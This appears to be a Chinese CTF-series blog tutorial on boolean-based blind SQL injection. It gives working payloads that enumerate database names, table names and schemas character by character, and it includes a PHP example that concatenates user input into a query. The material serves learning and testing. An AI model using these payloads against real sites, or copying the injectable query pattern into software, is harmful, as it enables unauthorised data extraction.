【第十一天 - 布林SQL盲注】

Q1. 布林盲注型 SQL 注入是什麽

  • 布林(boolean)盲注型在中国,也称为布尔盲注
  • 在一些网页中,并不会显示资料,只会根据 SQL 语法显示两种页面 (True/False),所以导致你注入的 SQL 语法,取得的资料不能显示於网页前端,此时我们就可以使用 SQL 语法逐渐判断出 dataset 的名称长度、名称...
# 判断 database 名称的长度,假设名称为 CTF (长度为3)
<原SQL语法> and length(database())>=1--
<原SQL语法> and length(database())>=2--
<原SQL语法> and length(database())>=3--
# 由於 length(CTF) 没有大於 4,回传 False,可得知database 名称长度为 3
<原SQL语法> and length(database())>=4--
# 判断 database 名称,假设名称为 CTF
# 我们SQL语法取名称第一个字,判断是否为A
<原SQL语法> and substr(database(),1,1)='A'--
<原SQL语法> and substr(database(),1,1)='B'--
# 由於 C = 'C' 回传 True,可得知 database 名称第一个字为 C
<原SQL语法> and substr(database(),1,1)='C'--
# 若我们已经得知 database 名称为 CTF
# 此时我们要找出 CTF database 中的每个 table 名称
# 求 CTF 中第一个 table 的第一个字是否为 a
<原SQL语法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 0,1),1,1)='a'
# 求 CTF 中第二个 table 的第一个字是否为 a
<原SQL语法> substr((select table_name from information_schema.tables where table_schema='CTF' limit 1,1),1,1)='a'
  • 此外一提,若网页连 True/False 都不会显示,那我们就要使用「时间盲注」来进行

参考资料:https://blog.csdn.net/SouthWind0/article/details/82917798

Q2. 布林盲注

由於是透过控制 True / False 来使页面发生变化,从而泄露资料,我们要先确认可以控制这个 True / False 变化。

以下方 PHP 为例,在 User 存在时会显示 User exist,而不存在时显示 Not found

<?php 
$mysqli = new mysqli(...);
$query = "SELECT * FROM `User` WHERE `id` = {$_GET['id']}";
$result = $mysqli->query($query);

if($result->num_rows === 1) echo("User exists.");
else echo("Not found.");

假设原始 SQL 如下时,页面显示 User exists

# true
SELECT * FROM `User` WHERE `id` = 1            

我们可以构建如下的 SQL 来测试其存在 Boolean-based SQL Injection:

# true
SELECT * FROM `User` WHERE `id` = 1 AND 2 < 3  

⇒ 此时页面显示 User exists

# false
SELECT * FROM `User` WHERE `id` = 1 AND 2 > 3  

⇒ 此时页面显示 Not found

由於原始 SQL 为真,因此需要搭配 AND 进行注入,反之,若原始 SQL 为 false,需要搭配 OR 进行注入,例如:

# 原始 SQL: false
SELECT * FROM `User` WHERE `id` = 1   

# true
SELECT * FROM `User` WHERE `id` = 1 OR 2 < 3 

# false
SELECT * FROM `User` WHERE `id` = 1 OR 2 > 3 

当可控制 True / False 後,我们便可以利用其泄露资料,以昨天提过的 information_schema 为例:

SELECT * FROM `User` WHERE `id` = 1
AND **SUBSTR((**
		SELECT GROUP_CONCAT(`SCHEMA_NAME`) 
		FROM `information_schema`.`schemata`
	), 1, 1
) = 'a'
  • GROUP_CONCAT(SCHEMA_NAME) : GROUP_CONCAT 可以将所有 row 的资料串接起来,变成一笔资料,就不用一笔一笔捞。此处是把所有资料库名称串接成一个长字串。
  • SUBSTR(..., 1, 1) : 用来取子字串的函数,此处从第 1 个字元开始,取 1 个字元。

用上述的方法可以辨别出第一个字元是否为 a ,如果是,则页面出现 User exists ,反之出现 Not found 。於是我们可以用爆搜所有字元的方式,找出资料库名称的第一个字元,接着调整 SUBSTR 的参数,取第 2 个字元,继续爆搜直到得出所有字元。

为了提升效率,通常会采用二分搜寻的方式,我们再将上述的 SQL 调整为如下形式:

SELECT * FROM `User` WHERE `id` = 1
AND **ASCII(SUBSTR((**
		SELECT GROUP_CONCAT(`SCHEMA_NAME`) 
		FROM `information_schema`.`schemata`
	), 1, 1
)) > 80
  • ASCII : 将字元转为 ASCII

透过将字元转为 ASCII ,就能够以数字对字元进行二分搜寻。


<<:  【D25】进入下个阶段(功能化)行前说明

>>:  第8-1章:管理本地端主机之使用者与群组(三)

[DAY 07]查询各国物品名称

昨天写完查询物品拍卖价格网址後发现...既然都有各国物品名称了 乾脆多做一个查询各国物品名称并附上W...

Day02 - 纯 Html - 简单型别 + 字串

简单型别 + 字串 简单型别定义 Case01 - 简单型别 Controller 预期 post ...

#19 No-code 之旅 — Avatars Libraries

嗨~ 今天来个比较特别的主题,Avatars libraries。很多时候我们需要显示一些头贴,有的...

[Kata] Clojure - Day 30

Responsible Drinking Codewars Bar recommends you d...

[Day12] 策略最佳化模组改造(2)

现在要来处理上一篇文章的红框部分,输入N个np.arange让他跑for loop。今天在网路上看了...